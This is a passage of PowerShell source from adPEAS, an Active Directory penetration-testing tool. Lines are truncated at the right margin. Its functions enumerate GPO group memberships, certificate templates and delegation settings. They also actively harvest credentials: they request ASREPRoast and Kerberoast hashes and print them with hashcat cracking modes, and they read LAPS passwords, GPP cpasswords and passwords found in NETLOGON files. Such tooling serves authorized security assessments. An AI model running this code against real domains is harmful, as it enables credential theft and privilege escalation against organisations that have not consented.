Invoke-Logger -Class Hint -Value "The identity '$($object_laps_identity.sAMAccountN
$object_laps_identity | Invoke-Logger
}
}
}
}
}
}
catch {
Write-Warning "[Get-adPEASRights] Error retrieving LAPS permissions: $_"
}
}
Function Get-adPEASGPO {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates some GPO related things, like set local group memberships
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASGPO -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASGPO -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting adPEAS GPO Enumeration +++++ #>
$ErrorActionPreference = "Continue"

# Building searcher arguments for the following requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASGPO] Using '$Domain' as target Active Directory domain name"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASGPO] Using '$Server' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASGPO] Using LDAPS over port 636"
}
<# +++++ Searching for GPO local group membership information +++++ #>
Invoke-Logger -Class Info -Value "Searching for GPO local group membership Information"
try {
# get all GPO's of the domain
$adPEAS_GPO = Get-DomainGPOLocalGroup @SearcherArguments
# get all OU's of the domain
$adPEAS_OU = Get-DomainOU @SearcherArguments
foreach ($Object_GPO in $adPEAS_GPO) {
if ($Object_GPO.GroupMembers -ne '' -and $Object_GPO.GroupName -ne '') {
Invoke-Logger -Class Hint -Value "Found GPO '$($Object_GPO.GPODisplayName)' which ad
Invoke-Logger -Value "GPO Name:`t`t`t`t$($Object_GPO.GPODisplayName)"
Invoke-Logger -Value "Local GroupName:`t`t`t$($Object_GPO.GroupName)"
Invoke-Logger -Value "Local GroupSID:`t`t`t`t$($Object_GPO.GroupSID)"
if ($($Object_GPO.GroupMembers) -match '^S-1-.*') {
Invoke-Logger -Value "GroupMembers:`t`t`t`t$(($Object_GPO.GroupMembers | ConvertFro
} else {
Invoke-Logger -Value "GroupMembers:`t`t`t`t$($Object_GPO.GroupMembers)"
}
foreach ($Object_OU in $adPEAS_OU) {
if ($($Object_OU.gplink) -like "*$($Object_GPO.GPOName)*"){
Invoke-Logger -Value "Configured for OU:`t`t`t$($Object_OU.distinguishedname)"
}
}
} else {
Write-Verbose "[Get-adPEASGPO] Found no suitable GPO"
}
}
} catch {
Write-Warning "[Get-adPEASGPO] Error retrieving GPO local group membership information: $_"
}
}

Function Get-adPEASADCS {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)

.DESCRIPTION
Enumerates some basic Active Directory Certificate Services information, like CA Name, CA Server and

.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.

.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.

.EXAMPLE
Get-adPEASADCS
Start Enumerating and use the domain the logged-on user is connected to.

.EXAMPLE
Get-adPEASADCS -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.

.EXAMPLE
Get-adPEASADCS -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)

<# +++++ Starting adPEAS ADCS Enumeration +++++ #>


$ErrorActionPreference = "Continue"

# Building searcher arguments for the following PowerView requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASCA] Using '$($Domain)' as target Active Directory domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASCA] Using '$($Server)' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASCA] Using LDAPS over port 636"
}

# Setup searcher arguments for Root domain


$RootDomSearcherArguments = $SearcherArguments.clone()
$RootDomSearcherArguments['Domain'] = (((get-domain @SearcherArguments).Forest).RootDomai
<# +++++ Searching for Active Directory Certificate Services +++++ #>
Invoke-Logger -Class Info -Value "Searching for Active Directory Certificate Services Information"
# Get base CA information
try {
$adPEAS_CABasePath = "CN=Public Key Services,CN=Services,CN=Configuration," + $(Get-Do
Write-Verbose "[Get-adPEASCA] Using '$adPEAS_CABasePath' to search for ADCS"
$adPEAS_CAEnterpriseCA = Get-DomainObject @RootDomSearcherArguments -SearchBase ("C
$adPEAS_CANTAuthStore = Get-DomainObject @RootDomSearcherArguments -SearchBase ("C
if ($adPEAS_CAEnterpriseCA -and $adPEAS_CAEnterpriseCA -ne '') {
Invoke-Logger -Class Hint -Value "Found at least one available Active Directory Certificate Serv
Invoke-Logger -Value "adPEAS does basic enumeration only, consider reading https://posts.spe
foreach ($Object_CA in $adPEAS_CAEnterpriseCA) {
Invoke-Logger -Class Hint -Value "Found Active Directory Certificate Services '$($Object_CA
Invoke-Logger -Value "CA Name:`t`t`t`t$($Object_CA.name)"
Invoke-Logger -Value "CA dnshostname:`t`t`t`t$($Object_CA.dnshostname)"
Invoke-Logger -Value "CA IP Address:`t`t`t`t$($($Object_CA.dnshostname | Resolve-IPAddre
Invoke-Logger -Value "Date of Creation:`t`t`t$($Object_CA.whencreated)"
Invoke-Logger -Value "DistinguishedName:`t`t`t$($Object_CA.distinguishedName)"
Invoke-Logger -Value "NTAuthCertificates:`t`t`t$(if ($adPEAS_CANTAuthStore) {$true} else {
Invoke-Logger -Value "Available Templates:`t`t`t$(($Object_CA.certificatetemplates) -join "`n`
}
}
}
catch {
Write-Verbose "[Get-adPEASCA] Error retrieving ADCS information: $_"
}
<# +++++ Searching for Vulnerable Certificate Templates +++++ #>
Invoke-Logger -Class Info -Value "Searching for Vulnerable Certificate Templates"
if ($adPEAS_CAEnterpriseCA -and $adPEAS_CAEnterpriseCA -ne '') {
if ($($Object_CA.certificatetemplates) -and $($Object_CA.certificatetemplates) -ne '') {
Invoke-Logger -Value "adPEAS does basic enumeration only, consider using https://github.com
}
foreach ($Object_CA in $adPEAS_CAEnterpriseCA) {
try {
foreach ($Object_Template in $($Object_CA.certificatetemplates)) {
$Object_Template_Vuln = $false
$Object_Template_VulnFlag = $false
$Object_Template_IdentityACL = @{}
$Object_Template_Enroll = @()

Invoke-Logger -Class Info -Value "Checking Template '$Object_Template'"


$Object_Var_Template = $Object_Template | Get-ADCSTemplate @RootDomSearcherArg
$Object_Var_TemplateACL = $Object_Template | Get-ADCSTemplateACL @RootDomSe
$Object_screen = New-Object PSObject
$Object_screen | Add-Member Noteproperty 'TemplateName' $Object_Var_Template.nam
$Object_screen | Add-Member Noteproperty 'TemplateDistinguishedname' $Object_Var_T
$Object_screen | Add-Member Noteproperty 'DateOfCreation' $Object_Var_Template.whe
$Object_screen | Add-Member Noteproperty 'CertificateNameFlag' $Object_Var_Template
$Object_screen | Add-Member Noteproperty 'EnrollmentFlag' $Object_Var_Template.Enro
$Object_screen | Add-Member Noteproperty 'ExtendedKeyUsage' $Object_Var_Template.
if ($Object_Var_Template.PrivateKeyFlag -and $Object_Var_Template.PrivateKeyFlag -eq
# Check flag 'ENROLLEE_SUPPLIES_SUBJECT'
if ($Object_Var_Template.CertificateNameFlag -and $Object_Var_Template.CertificateNam
Invoke-Logger -Class Finding -Value "Template '$($Object_Var_Template.name)' has Fl
$Object_Template_Vuln = $true
$Object_Template_VulnFlag = $true
}
# Check ACL/ACE of template
foreach ($TemplateACL in $Object_Var_TemplateACL) {
if ($TemplateACL.ActiveDirectoryRights -and $TemplateACL.ActiveDirectoryRights -like
if ($TemplateACL.identity -and $TemplateACL.identity -ne '') {
Invoke-Logger -Class Finding -Value "Identity '$($TemplateACL.identity)' has '$($Te
$Object_Template_IdentityACL.Add($TemplateACL.identity,$TemplateACL.ActiveD
$Object_screen | Add-Member Noteproperty 'IdentityACL' $Object_Template_Ident
$Object_Template_Vuln = $true
} else {
Invoke-Logger -Class Finding -Value "An identiy which could not be determined has
$TemplateACL.identity = "Identity could not be determined"
}
}
if ($TemplateACL.ObjectAceType -and $TemplateACL.ObjectAceType -like '*Certificate-
$Object_Template_Enroll += $TemplateACL.identity
Invoke-Logger -Class Hint -Value "Identity '$($TemplateACL.identity)' has enrollment
$Object_screen | Add-Member Noteproperty 'EnrollmentAllowedFor' $Object_Templa
$Object_Template_Vuln = $true
}
}
if ($Object_Template_Vuln -eq $true) {
Invoke-Logger -Value "Template Name:`t`t`t`t$($Object_screen.TemplateName)"
Invoke-Logger -Value "Template distinguishedname:`t`t$($Object_screen.TemplateDistin
Invoke-Logger -Value "Date of Creation:`t`t`t$($Object_screen.DateOfCreation)"
if ($Object_screen.ExtendedKeyUsage -and $Object_screen.ExtendedKeyUsage -like '*
Invoke-Logger -Class Hint -Value "Extended Key Usage:`t`t`t$(($Object_screen.Exten
} elseif ($Object_screen.ExtendedKeyUsage) {
Invoke-Logger -Value "Extended Key Usage:`t`t`t$(($Object_screen.ExtendedKeyUsa
}
Invoke-Logger -Value "EnrollmentFlag:`t`t`t`t$($Object_screen.EnrollmentFlag)"
if ($Object_screen.PrivateKeyExportable) {
Invoke-Logger -Class Hint -Value "Private Key Exportable:`t`t`t`t$($Object_screen.Priv
}
if ($Object_Template_VulnFlag) {
Invoke-Logger -Class Finding -Value "CertificateNameFlag:`t`t$($Object_screen.Certi
} else {
Invoke-Logger -Value "CertificateNameFlag:`t`t`t$($Object_screen.CertificateNameFla
}
if ($Object_screen.IdentityACL) {
foreach ($Object_single_Identity in $($Object_screen.IdentityACL).GetEnumerator())
Invoke-Logger -Class Finding -Value "Template Permissions:`t`t$($Object_single_I
}
}
if ($Object_screen.EnrollmentAllowedFor) {
Invoke-Logger -Class Hint -Value "Enrollment allowed for:`t`t$(($Object_screen.Enroll
}
}
$Object_screen = $null
}
}
catch {
Write-Warning "[Get-adPEASCA] Error retrieving template information: $_"
}
}
}
}
Function Get-adPEASCreds {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates credential exposure issues, like ASREPRoast, Kerberoasting, Linux/Unix Password Attribu
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASCreds
Start Enumerating and use the domain the logged-on user is connected to.
.EXAMPLE
Get-adPEASCreds -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASCreds -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting adPEAS Credentials+++++ #>
$ErrorActionPreference = "Continue"
Invoke-Logger -Class Info -Value "Searching for Credentials Exposure"
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASCreds] Using '$($Domain)' as target Active Directory domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASCreds] Using '$($Server)' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASCreds] Using LDAPS over port 636"
}
<# +++++ Searching for ASREPRoast User +++++ #>
Invoke-Logger -Class Info -Value "Searching for ASREProastable User"
try {
$adPEAS_UsersASREP = Get-DomainUser @SearcherArguments -PreauthNotRequired -Security
foreach ($Object_ASRep in $adPEAS_UsersASREP) {
if ($($Object_ASRep.sAMAccountName) -and $($Object_ASRep.useraccountcontrol) -like '*ACC
Write-Verbose "[Get-adPEASCreds] User '$($Object_ASRep.distinguishedName)' does not re
}
elseif ($($Object_ASRep.sAMAccountName) -and $($Object_ASRep.accountexpires) -ne 'NEVE
Write-Verbose "[Get-adPEASCreds] User '$($Object_ASRep.distinguishedName)' does not re
}
elseif ($($Object_ASRep.sAMAccountName) -and $($Object_ASRep.pwdLastSet).toFileTime()
Write-Verbose "[Get-adPEASCreds] User '$($Object_ASRep.distinguishedName)' does not re
}
elseif ($($Object_ASRep.sAMAccountName) -and $($Object_ASRep.sAMAccountName) -ne '')
Invoke-Logger -Class Finding -Value "Found ASREProastable User '$($Object_ASRep.sama
$Object_ASRepTGT = Get-ASREPHash @SearcherArguments -Username $Object_ASRep.
if ($Object_ASRepTGT) {
$Object_ASRep | Invoke-Logger
Invoke-Logger -Value 'Hashcat usage: Hashcat -m 18200'
Invoke-Logger -Class Finding -Value $Object_ASRepTGT -Raw
} else {
Invoke-Logger -Value " "
}
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving ASREPRoast information: $_"
}
<# +++++ Searching for Kerberoastable User +++++ #>
Invoke-Logger -Class Info -Value "Searching for Kerberoastable User"
try {
$adPEAS_UsersROAST = Invoke-Kerberoast @SearcherArguments -OutputFormat Hashcat
foreach ($Object_Kerberoast in $adPEAS_UsersROAST) {
if ($Object_Kerberoast.'useraccountcontrol' -like '*ACCOUNTDISABLE*') {
Write-Verbose "[Get-adPEASCreds] User '$($Object_Kerberoast.distinguishedName)' is kerb
}
elseif ($($Object_Kerberoast.sAMAccountName) -and $($Object_Kerberoast.sAMAccountName
Invoke-Logger -Class Finding -Value "Found Kerberoastable User '$($Object_Kerberoast.sam
if ($($Object_Kerberoast.hash)) {
$Object_Kerberoast | Get-DomainObject @SearcherArguments -SecurityMasks Owner | In
if ($($Object_Kerberoast.hash) -like '$krb5tgs$23$*') {
Invoke-Logger -Class Hint -Value 'Kerberos TGS with RC4, hashcat usage: hashcat -m 1
} elseif ($($Object_Kerberoast.hash) -like '$krb5tgs$17$*') {
Invoke-Logger -Class Secure -Value 'Kerberos TGS with AES128, expect low cracking s
} elseif ($($Object_Kerberoast.hash) -like '$krb5tgs$18$*') {
Invoke-Logger -Class Secure -Value 'Kerberos TGS with AES256, expect low cracking s
}
Invoke-Logger -Class Finding -Value "$($Object_Kerberoast.hash)`n" -Raw
} else {
Invoke-Logger -Value " "
}
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving Kerberoasting information: $_"
}
<# +++++ Searching for User with 'Linux/Unix Password' attribute +++++ #>
Invoke-Logger -Class Info -Value "Searching for User with 'Linux/Unix Password' attribute"
try {
$adPEAS_UnixUserPassword = Get-DomainUser @SearcherArguments -LDAPFilter '(|(UserPass
foreach ($Object_UxPw in $adPEAS_UnixUserPassword) {
if ($($Object_UxPw.sAMAccountName) -and $($Object_UxPw.useraccountcontrol) -like '*ACCO
Write-Verbose "[Get-adPEASCreds] User '$($Object_UxPw.distinguishedName)' has a legac
}
elseif ($($Object_UxPw.sAMAccountName) -and $($Object_UxPw.sAMAccountName) -ne '') {
Invoke-Logger -Class Finding -Value "Found readable 'Linux/Unix Password' attribute at User
$Object_UxPw | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving Linux/Unix password information: $_"
}

<# +++++ Searching for User with 'extensionData' attribute +++++ #><#
Invoke-Logger -Class Info -Value "Searching for User with 'extensionData' attribute"
try {
$adPEAS_ExtData = Get-DomainUser @SearcherArguments -LDAPFilter '(extensionData=*)' -Ad
foreach ($Object_ExData in $adPEAS_ExtData) {
if ($($Object_ExData.sAMAccountName) -and $($Object_ExData.useraccountcontrol) -like '*AC
Write-Verbose "[Get-adPEASCreds] User '$($Object_ExData.distinguishedName)' has stored
}
elseif ($($Object_ExData.sAMAccountName) -and $($Object_ExData.sAMAccountName) -ne '')
Invoke-Logger -Class Hint -Value "Found user '$($Object_ExData.samaccountname)' with 'ex
$Object_ExData | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Verbose "[Get-adPEASCreds] Error retrieving extensionData information: $_"
}
#>
<# +++++ Searching for Computer with enabled and readable LAPS native and legacy attributes +++
Invoke-Logger -Class Info -Value "Searching for Computer with enabled and readable Microsoft LAP
try {
$adPEAS_CompLAPS = Get-DomainComputer @SearcherArguments -LDAPFilter '(ms-Mcs-Adm
foreach ($Object_lapspw in $adPEAS_CompLAPS) {
if ($($Object_lapspw.serviceprincipalname) -and $($Object_lapspw.serviceprincipalname) -like '
Write-Verbose "[Get-adPEASCreds] Computer '$($Object_lapspw.samaccountname) has ena
}
elseif ($($Object_lapspw.sAMAccountName) -and $($Object_lapspw.sAMAccountName) -ne '')
Invoke-Logger -Class Finding -Value "Found readable LAPS legacy attribute at Computer '$($
$Object_lapspw | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving LAPS information: $_"
}
Invoke-Logger -Class Info -Value "Searching for Computer with enabled and readable Windows LAP
try {
$adPEAS_CompLAPS2 = Get-DomainComputer @SearcherArguments -LDAPFilter '(|(msLAPS-P
foreach ($Object_lapspw in $adPEAS_CompLAPS2) {
if ($($Object_lapspw.serviceprincipalname) -and $($Object_lapspw.serviceprincipalname) -like '
Write-Verbose "[Get-adPEASCreds] Computer '$($Object_lapspw.samaccountname) has ena
}
elseif ($($Object_lapspw.sAMAccountName) -and $($Object_lapspw.sAMAccountName) -ne '')
Invoke-Logger -Class Finding -Value "Found readable LAPS native attribute at Computer '$($
$Object_lapspw | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving LAPS information: $_"
}
<# +++++ Searching for Group Managed Service Account (gMSA) +++++ #>
Invoke-Logger -Class Info -Value "Searching for Group Managed Service Account (gMSA)"
try {
$adPEAS_gMSA = Get-DomainObject @SearcherArguments -LDAPFilter '(&(ObjectClass=msDS-
foreach ($Object_gMSA in $adPEAS_gMSA) {
if ($($Object_gMSA.sAMAccountName) -and $($Object_gMSA.useraccountcontrol) -like '*ACCO
Write-Verbose "[Get-adPEASCreds] Account '$($Object_gMSA.distinguishedName)' is a gMS
}
elseif ($($Object_gMSA.sAMAccountName) -and $($Object_gMSA.sAMAccountName) -ne '') {
Invoke-Logger -Class Hint -Value "Found group Managed Service Account '$($Object_gMSA
# read parameter groupmsamembership, build descriptor, request groups and users and conv
try {
$Object_gMSAMemberArray = @()
if ($($Object_gMSA.'msds-groupmsamembership')) {
$Object_gMSAMembers = (New-Object Security.AccessControl.RawSecurityDescriptor(
foreach ($Object_gMSAMember in $Object_gMSAMembers){
# check if the member is a group and if yes, request group members recursive
$Object_gMSAMemberType = $(Get-DomainObject @SearcherArguments -Identity $
if ($Object_gMSAMemberType -eq 'GROUP_OBJECT' -or $Object_gMSAMemberTyp
Write-verbose "[Get-adPEASCreds] gMSA member identity '$Object_gMSAMembe
$Object_gMSAMemberArray += $(Get-DomainGroupMember @SearcherArgumen
} else {
$Object_gMSAMemberArray += $(Get-DomainObject @SearcherArguments -Ident
}
}
} else {
Write-Verbose "[Get-adPEASCreds] Error retrieving gmSA group membership informatio
}
$Object_gMSA | Add-Member Noteproperty 'PrincipalsAllowedToRetrieveManagedPasswo
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving gmSA group membership information:
}
$Object_gMSA | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving gMSA information: $_"
}
<# +++++ Searching for Credentials in Group Policy Files +++++ #>
Invoke-Logger -Class Info -Value "Searching for Credentials in Group Policy Files"
try {
$adPEAS_Cpassword = Get-GPPPassword @SearcherArguments
foreach ($Object_GPP in $adPEAS_Cpassword) {
if ( -not $Object_GPP) {
Write-Verbose "[Get-adPEASCreds] Not found any crypted passwords in SYSVOL policy dire
}
elseif ($($Object_GPP.Password) -and $($Object_GPP.Password) -ne '') {
if ($($Object_GPP.Domain) -and $($Object_GPP.Domain) -ne '') {$Object_GPP.username =
Invoke-Logger -Class Hint -Value "Found credentials in SYSVOL group policy file '$($Object_
Invoke-Logger -Class Finding -Value "Password '$($Object_GPP.Password)' for user '$($Obj
Invoke-Logger -Value " "
}
else {
Write-verbose "[Get-adPEASCreds] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving GPP password information: $_"
}
<# +++++ Searching for Sensitive Information in SYSVOL/NETLOGON Share +++++ #>
Invoke-Logger -Class Info -Value "Searching for Sensitive Information in SYSVOL/NETLOGON Shar
try {
$adPEAS_NetlogonFiles = Get-NetlogonFile @SearcherArguments
foreach ($Object_NetLogonFile in $adPEAS_NetlogonFiles) {
if ($Object_NetLogonFile -and $Object_NetLogonFile -ne '') {
if ($Object_NetLogonFile.FilePath -and $Object_NetLogonFile.FilePath -ne '') {
if ($Object_NetLogonFile.Password -and $Object_NetLogonFile.Password -ne '') {
Invoke-Logger -Class Finding -Value "Found credentials in NETLOGON file '$($Object_N
Invoke-Logger -Class Finding -Value "Credentials: Password '$($Object_NetLogonFile.P
Invoke-Logger -Value " "
}
else {
Invoke-Logger -Class Hint -Value "Found possible sensitive information in NETLOGON f
Invoke-Logger -Class Hint -Value "Content: $($Object_NetLogonFile.FoundValue)"
Invoke-Logger -Value " "
}
}
}
else {
Write-Verbose "[Get-adPEASCreds] We have not found any file with sensitive information in N
}
}
}
catch {
Write-Warning "[Get-adPEASCreds] Error retrieving NETLOGON information: $_"
}
}

Function Get-adPEASDelegation {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates delegation issues, like 'Unconstrained Delegation', 'Constrained Delegation' and 'Resource
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASDelegation
Start Enumerating and use the domain the logged-on user is connected to.
.EXAMPLE
Get-adPEASDelegation -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASDelegation -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
#[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $Tru
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting adPEAS Delegation +++++ #>
$ErrorActionPreference = "Continue"
Invoke-Logger -Class Info -Value "Searching for Delegation Issues"

# Building searcher arguments for the following PowerView requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASDelegation] Using '$($Domain)' as target Active Directory domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASDelegation] Using '$($Server)' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASDelegation] Using LDAPS over port 636"
}
# Set some variables we need later on
# Setup searcher arguments for Root domain
$RootDomSearcherArguments = $SearcherArguments.clone()
$RootDomSearcherArguments['Domain'] = (((get-domain @SearcherArguments).Forest).RootDomai
<# +++++ Searching for Computer with Unconstrained Delegation Rights +++++ #>
Invoke-Logger -Class Info -Value "Searching for Computer with Unconstrained Delegation Rights"
try {
$adPEAS_CompUnconstrDelegate = Get-DomainComputer @SearcherArguments -ExcludeDCs -
foreach ($Object_CompUnDeleg in $adPEAS_CompUnconstrDelegate) {
if ($($Object_CompUnDeleg.sAMAccountName) -and $($Object_CompUnDeleg.sAMAccountNa
Invoke-Logger -Class Finding -Value "Found unconstrained delegation rights for Computer '$
$Object_CompUnDeleg | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASDelegation] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASDelegation] Error retrieving unconstrained delegetion information: $_
}
<# +++++ Searching for Computer with Constrained Delegation Rights +++++ #>
Invoke-Logger -Class Info -Value "Searching for Computer with Constrained Delegation Rights"
try {
$adPEAS_CompConstrDelegate = Get-DomainComputer @SearcherArguments -TrustedToAuth -
foreach ($Object_CompConstDeleg in $adPEAS_CompConstrDelegate) {
if ($($Object_CompConstDeleg.sAMAccountName) -and $($Object_CompConstDeleg.sAMAcco
Invoke-Logger -Class Finding -Value "Found constrained delegation rights for Computer '$($O
$Object_CompConstDeleg | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASDelegation] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASDelegation] Error retrieving constrained delegetion information: $_"
}
<# +++++ Searching for Computer with Resource-Based Constrained Delegation Rights +++++ #>
Invoke-Logger -Class Info -Value "Searching for Computer with Resource-Based Constrained Delega
try {
$adPEAS_CompRBCDelegate = Get-DomainComputer @SearcherArguments -RBCD #-SecurityM
foreach ($Object_CompRBCD in $adPEAS_CompRBCDelegate) {
if ($($Object_CompRBCD.sAMAccountName) -and $($Object_CompRBCD.sAMAccountName)
Invoke-Logger -Class Finding -Value "Found resource-based constrained delegation rights fo
try {
# read parameter, build descriptor and convert SID to name
$Object_CompRBCDIdentity = (New-Object Security.AccessControl.RawSecurityDescripto
$Object_CompRBCDIdentityName = $Object_CompRBCDIdentity | Convert-SidToName @
if ($Object_CompRBCDIdentityName -and $Object_CompRBCDIdentityName -ne '') {
$Object_CompRBCD | Add-Member Noteproperty 'AllowedToActOnBehalfOfOtherIdenti
} else {
$Object_CompRBCD | Add-Member Noteproperty 'AllowedToActOnBehalfOfOtherIdenti
}
}
catch {
Write-Verbose "[Get-adPEASDelegation] Error retrieving delegation information: $_"
}
$Object_CompRBCD | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASDelegation] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASDelegation] Error retrieving resource-based constrained delegetion in
}
<# +++++ Searching for User with Constrained Delegation Rights +++++ #>
Invoke-Logger -Class Info -Value "Searching for User with Constrained Delegation Rights"
try {
$adPEAS_UserConstrDelegate = Get-DomainUser @SearcherArguments -TrustedToAuth -Secur
foreach ($Object_UserConstDeleg in $adPEAS_UserConstrDelegate) {
if ($($Object_UserConstDeleg.sAMAccountName) -and $($Object_UserConstDeleg.'useraccoun
Write-Verbose "[Invoke-adPEASDelegation] User '$($Object_UserConstDeleg.distinguishedN
}
elseif ($($Object_UserConstDeleg.sAMAccountName) -and $($Object_UserConstDeleg.sAMAc
Invoke-Logger -Class Finding -Value "Found constrained delegation rights for User '$($Objec
$Object_UserConstDeleg | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASDelegation] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASDelegation] Error retrieving constrained delegetion information: $_"
}
<# +++++ Searching for User with Resource-Based Constrained Delegation Rights +++++ #>
Invoke-Logger -Class Info -Value "Searching for User with Resource-Based Constrained Delegation
try {
$adPEAS_UserRBCDelegate = Get-DomainUser @SearcherArguments -RBCD #-SecurityMasks
foreach ($Object_UserRBCD in $adPEAS_UserRBCDelegate) {
if ($($Object_UserRBCD.sAMAccountName) -and $($Object_UserRBCD.useraccountcontrol) -l
Write-Verbose "[Invoke-adPEASDelegation] User '$($Object_UserRBCD.distinguishedName)
}
elseif ($($Object_UserRBCD.sAMAccountName) -and $($Object_UserRBCD.sAMAccountName
Invoke-Logger -Class Finding -Value "Found resource-based constrained delegation rights fo
try {
# read parameter, build descriptor and convert SID to name
$Object_UserRBCDIdentity = (New-Object Security.AccessControl.RawSecurityDescriptor
$Object_UserRBCDIdentityName = $Object_UserRBCDIdentity | Convert-SidToName @S
if ($Object_UserRBCDIdentityName -and $Object_UserRBCDIdentityName -ne '') {
$Object_UserRBCD | Add-Member Noteproperty 'AllowedToActOnBehalfOfOtherIdentity
} else {
$Object_UserRBCD | Add-Member Noteproperty 'AllowedToActOnBehalfOfOtherIdentity
}
}
catch {
Write-Verbose "[Get-adPEASDelegation] Error retrieving delegation information: $_"
}
